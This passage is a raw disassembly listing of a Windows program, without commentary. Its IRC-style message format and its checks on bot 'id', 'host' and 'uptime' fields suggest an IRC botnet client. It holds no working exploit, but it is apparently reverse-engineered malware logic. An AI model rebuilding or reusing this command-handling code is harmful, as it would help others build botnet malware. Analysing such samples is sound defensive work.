U T I N E ======================================= sub_412940 proc near ; CODE XREF: sub_40158Cj arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_41299E mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC6E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41299E: ; CODE XREF: sub_412940+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412940 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4129D0 proc near ; CODE XREF: sub_401E24j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_40158C add esp, 2000h retn sub_4129D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412A40 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412A40 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_412A77 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_412A77: ; CODE XREF: sub_412A40+21j lea ecx, [esp+40h+var_3C] call sub_40142E mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_412A98 mov eax, dword_4490D0 push eax jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412A98: ; CODE XREF: sub_412A40+4Ej mov ecx, dword_4490D8 push ecx loc_412A9F: ; CODE XREF: sub_412A40+56j lea ecx, [esp+44h+var_3C] call sub_4015E1 push ebx lea ecx, [esp+44h+var_24] call sub_40142E mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+50h+var_24] push offset aSSS_1 ; "%s %s :%s\r\n" push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014DD push eax mov ecx, esi call sub_40158C lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B70 proc near ; CODE XREF: sub_401857j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412B70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412BF0 proc near ; CODE XREF: sub_401D20j push esi mov esi, ecx call sub_401FD7 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412BF0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C20 proc near ; CODE XREF: sub_401FD7j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call near ptr 71AB9639h nop mov ecx, offset word_44AC6E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop esi retn sub_412C20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C60 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412C60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C90 proc near ; CODE XREF: sub_401B68j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412C90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412CE0 proc near ; CODE XREF: sub_401F1Ej var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412CE0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_412CE0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412D80: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43AC4E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4130A6 push ebx push edi push offset asc_444600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016B8 push offset asc_444600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016B8 push offset asc_444600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016B8 mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013E3 lea ecx, [esp+28h] mov ebx, eax call sub_4013E3 lea ecx, [esp+40h] add ebx, eax call sub_4013E3 mov ecx, edi add ebx, eax call sub_4013E3 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E47 push offset asc_444600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016B8 lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E47 push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40202C lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40202C push offset asc_444D24 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F05 xor edi, edi loc_412F05: ; CODE XREF: ___:00412F01j push offset asc_444D20 ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F1C mov edi, 1 loc_412F1C: ; CODE XREF: ___:00412F15j push offset asc_444D1C ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F33 mov edi, 2 loc_412F33: ; CODE XREF: ___:00412F2Cj push offset asc_444D18 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F4A mov edi, 3 loc_412F4A: ; CODE XREF: ___:00412F43j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FA4 test edi, edi jnz short loc_412F7A lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44956A call sub_4012EE test eax, eax jz short loc_412FA4 jmp short loc_412F97 ; --------------------------------------------------------------------------- loc_412F7A: ; CODE XREF: ___:00412F5Ej cmp edi, 1 jnz short loc_412FA4 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44956A call sub_4012EE test eax, eax jnz short loc_412FA4 loc_412F97: ; CODE XREF: ___:00412F78j push 0 push esi mov ecx, offset byte_449287 call sub_401A41 loc_412FA4: ; CODE XREF: ___:00412F5Aj ; ___:00412F76j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FF7 test edi, edi jnz short loc_412FD8 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D80AD call sub_4013ED test eax, eax jnz loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FD8: ; CODE XREF: ___:00412FB8j cmp edi, 1 jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D80AD call sub_4013ED test eax, eax jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: ___:00412FB4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_40165E test edi, edi jnz short loc_41302D cmp eax, ebx jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_41302D: ; CODE XREF: ___:00413025j cmp edi, 1 jnz short loc_413038 cmp eax, ebx jnz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413038: ; CODE XREF: ___:00413030j cmp edi, 2 jnz short loc_413043 cmp eax, ebx jle short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: ___:0041303Bj cmp edi, 3 jnz short loc_413059 cmp eax, ebx jge short loc_413059 loc_41304C: ; CODE XREF: ___:00412FD6j ; ___:00412FF5j ... push 0 push esi mov ecx, offset byte_449287 call sub_401A41 loc_413059: ; CODE XREF: ___:00412FD0j ; ___:00412FDBj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_4130A8 ; --------------------------------------------------------------------------- loc_4130A6: ; CODE XREF: ___:00412DB9j mov al, 1 loc_4130A8: ; CODE XREF: ___:004130A4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4131B0 proc near ; CODE XREF: sub_40165Ej nop call near ptr 27E0BCDh mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4131B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_402018j var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4131F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401753 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F23 sub_4131F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401852 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43F044 call sub_401933 mov ecx, ebx call sub_401C76 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j push esi mov esi, ecx call sub_401CA3 sub_4132C0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_4132D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4132D8: ; CODE XREF: ___:004132CDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132F0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43F044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401933 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C76 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014BF sub_4132F0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4133B0 proc near ; CODE XREF: sub_401A05j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4133B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4133B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019C4 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4134A0 proc near ; CODE XREF: sub_401CE4j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4134A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017EE test eax, eax jz short loc_413547 lea ecx, [esp+18h+var_14] call sub_402275 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413547 loc_413508: ; CODE XREF: sub_4134A0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41356C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413508 loc_413547: ; CODE XREF: sub_4134A0+2Ej ; sub_4134A0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41356C: ; CODE XREF: sub_4134A0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4134A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4135E0 proc near ; CODE XREF: sub_402130j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4135E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017EE test eax, eax jz loc_4136B3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401992 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jz short loc_4136B3 loc_41364F: ; CODE XREF: sub_4135E0+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014D3 mov ecx, ebx call sub_401CE4 mov esi, eax test esi, esi jz short loc_41367C mov edi, [esi] loc_41367C: ; CODE XREF: sub_4135E0+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B86 test eax, eax jz short loc_4136DB test esi, esi jnz short loc_4136DB lea ecx, [esp+28h+var_18] call sub_4018C5 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jnz short loc_41364F loc_4136B3: ; CODE XREF: sub_4135E0+31j ; sub_4135E0+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4136C6: ; CODE XREF: sub_4135E0+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_4136DB: ; CODE XREF: sub_4135E0+AAj ; sub_4135E0+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4136C6 sub_4135E0 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413740 proc near ; CODE XREF: sub_401F64j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413740 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017EE test eax, eax jz short loc_4137E4 lea ecx, [esp+14h+var_14] call sub_401E38 lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jz short loc_4137E4 loc_4137A6: ; CODE XREF: sub_413740+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jz short loc_413816 lea ecx, [esp+14h+var_14] call sub_4020C2 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jnz short loc_4137A6 loc_4137E4: ; CODE XREF: sub_413740+2Bj ; sub_413740+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401582 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413816: ; CODE XREF: sub_413740+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FC3 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401582 sub_413740 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4138B0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4138B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017EE test eax, eax jz loc_4139E3 lea eax, [esp+0A8h+var_64] push eax call sub_401A69 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_40142E push offset byte_448F40 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015E1 lea ecx, [esp+0A8h+arg_0] call sub_4013E3 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014DD lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C26 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402176 add esp, 14h loc_41394B: ; CODE XREF: sub_4138B0+E8j lea ecx, [esp+0A8h+var_8C] call sub_40142E xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016C7 lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41394B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B86 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_4139DE call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4139FC ; --------------------------------------------------------------------------- loc_4139DE: ; CODE XREF: sub_4138B0+10Cj call sub_401226 loc_4139E3: ; CODE XREF: sub_4138B0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4139FC: ; CODE XREF: sub_4138B0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4138B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A80 proc near ; CODE XREF: sub_40192Ej var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413A80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014D3 mov ecx, esi call sub_402130 test eax, eax jz short loc_413B2E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_401726 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014D3 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F64 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413B2E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413B2E: ; CODE XREF: sub_413A80+3Fj ; sub_413A80+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_413A80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413BB0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_43AE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40192E mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413C40 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413C40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413D89 lea ecx, [esp+48h+arg_0] call sub_4017EE test eax, eax jz loc_413D89 push esi push edi push offset asc_444C74 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413D63 add ebp, 54h loc_413CC0: ; CODE 